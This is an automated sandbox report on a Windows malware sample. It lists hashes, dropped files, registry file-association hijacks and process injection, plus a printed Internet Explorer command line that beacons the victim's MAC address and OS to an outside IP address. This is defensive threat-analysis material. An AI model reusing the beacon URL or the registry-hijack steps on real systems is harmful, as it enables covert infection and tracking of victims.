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Analysis
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max time kernel
132s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
23/11/2022, 18:57
Behavioral task
behavioral1
Sample
718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Resource
win7-20221111-en
windows7-x64
9 signatures
150 seconds
Behavioral task
behavioral2
Sample
718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
Resource
win10v2004-20221111-en
windows10-2004-x64
9 signatures
150 seconds
General
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Target
718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe
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Size
143KB
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MD5
530e39a453f30d37afbc6c566143650f
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SHA1
182b8f899a12b12fe831839d956bdc452c7c5a86
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SHA256
718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85
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SHA512
ea8c16d7f52355e569fec151c8563a25bde817baca13f857d8a4b3ed2000e3a65b56410bc773d3d8515a249a8751147ccbcb64cf9ee7905c46dda6be303d3023
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SSDEEP
3072:WgN+Ns6uUdzh5vaBAzmeu2ZNhewGOhIAsdxn6sM0TZMl9V:HN+NuUdzh5vaBAz5P/NhIAsdxn6sM0Tc
Score
8/10
Malware Config
Signatures
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resource yara_rule behavioral1/memory/1240-55-0x0000000000400000-0x0000000000426000-memory.dmp upx behavioral1/memory/1240-56-0x0000000000400000-0x0000000000426000-memory.dmp upx -
Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files\Thunder\Update.exe 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe File opened for modification C:\Program Files\Thunder\Update.exe 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\WINDOWS\Downloaded Program Files\Update.exe 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\SearchScopes iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0f0da5a89ffd801 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376006687" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBar7Layout = 130000000000000000000000300000001400000016000000010000000007000080010000030000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4BF781F1-6B7C-11ED-87A0-5A9C998014C3} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBarLayout = 110000005c00000000000000340000001f0000006e00000001000000a0060000a00f000005000000220400002600000002000000a1060000a00f000004000000a10000000f02000003000000a10200003b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fbafda4d2839344b902c87c07ddf25a100000000020000000000106600000001000020000000b4a753312c6ed240a1b18e33b0cee42ba3d2e5441f152c0de8989cdea3e06747000000000e8000000002000020000000ad3901cd8e393ccb9467199c460289c91d4418a50687f50d437175e66312208e90000000d3dc6c26cdf57c88debb7165661b39f96d5cf2cf7631944aff805c0ff04a56d04633f5ab194fe9e1e43c0267b0f6340981b3f882b6f857e9e017d5876de48b4efbc24eedd6206bca0df1e15ecadb3696dd3124439f479f3beb9861105169f8c4cf72075bfa4b1a8647f80e84acf0145325dc1638bbc63622f65465aad664ec16be5e8df9952b2fe65c66f4d9614737ed400000007c42dc793aa3b8d9da2be85ba67bfa22ed644862b357c3324d9c962a027423253b8933a093e68bcd3ab8fe7b2ee86b57be9c20882a8118932684977749ea36ce iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\Frist 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000fbafda4d2839344b902c87c07ddf25a1000000000200000000001066000000010000200000002dc363d3ef952e6657a6a9f050833a57c44466d1bf9192cbb5997dd53fd93e49000000000e8000000002000020000000e1b6e383bacc6ac3c06dd1da25a120f41987db30bca99a24ee2f3e6b5988a91120000000806de006694004aa4e5973c4844cd263314dc9fa14bd4049f81096e0660fe49740000000fcaf2b03a305fcddd7de2fd2629df422dbcab93e9d6b45b6cfc0090a4aa3a66395c0d9e11bef87b734f7bf8b36274207e3f58a0ef98a875f7fdc438657d84b1f iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-575491160-2295418218-1540667289-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\DefaultIcon\ = "C:\\WINDOWS\\Downloaded Program Files\\game.ico" 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open\command\ = "C:\\Program Files\\Thunder\\Update.exe \"%1\" %*" 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\shell\open\command 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\ScriptEngine\ = "JScript.Encode" 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\ScriptEngine 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\DefaultIcon\ = "C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\fonfile\ScriptEngine\ = "JScript.Encode" 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\anifile\ScriptEngine 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1492 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1492 iexplore.exe 1492 iexplore.exe 1004 IEXPLORE.EXE 1004 IEXPLORE.EXE 1004 IEXPLORE.EXE 1004 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1240 wrote to memory of 1492 1240 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe 28 PID 1240 wrote to memory of 1492 1240 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe 28 PID 1240 wrote to memory of 1492 1240 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe 28 PID 1240 wrote to memory of 1492 1240 718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe 28 PID 1492 wrote to memory of 1004 1492 iexplore.exe 30 PID 1492 wrote to memory of 1004 1492 iexplore.exe 30 PID 1492 wrote to memory of 1004 1492 iexplore.exe 30 PID 1492 wrote to memory of 1004 1492 iexplore.exe 30
Processes
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C:\Users\Admin\AppData\Local\Temp\718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe"C:\Users\Admin\AppData\Local\Temp\718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a85.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1240 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=5a-9c-99-80-14-c3&os=Microsoft Windows XP&flag=36735d63bab4c876b65b3b4f03460cc7&user=718c0e72a41675ac231f2aa59d8c421ee0e3d8920ff39a967138ce42ef9f7a852⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1492 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1492 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1004
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Network
MITRE ATT&CK Enterprise v6
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Downloads
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Filesize
601B
MD53d2d44290bb485a5b5fb58d5aeb9e9f5
SHA1c1088801976f98bfaa505a46eea10c7be667301e
SHA256bc74fa815b90674cbf56feb9b2b74f313275f9d801dcfa1b0bec6f8fe9b99c0b
SHA5120fbd22fa8054bbe9e419f65ef49507088175067f971719e800194f114d464de19470080d3e07b5efda61c67627622c7bbd44fd98079e13a1289f0756c923c487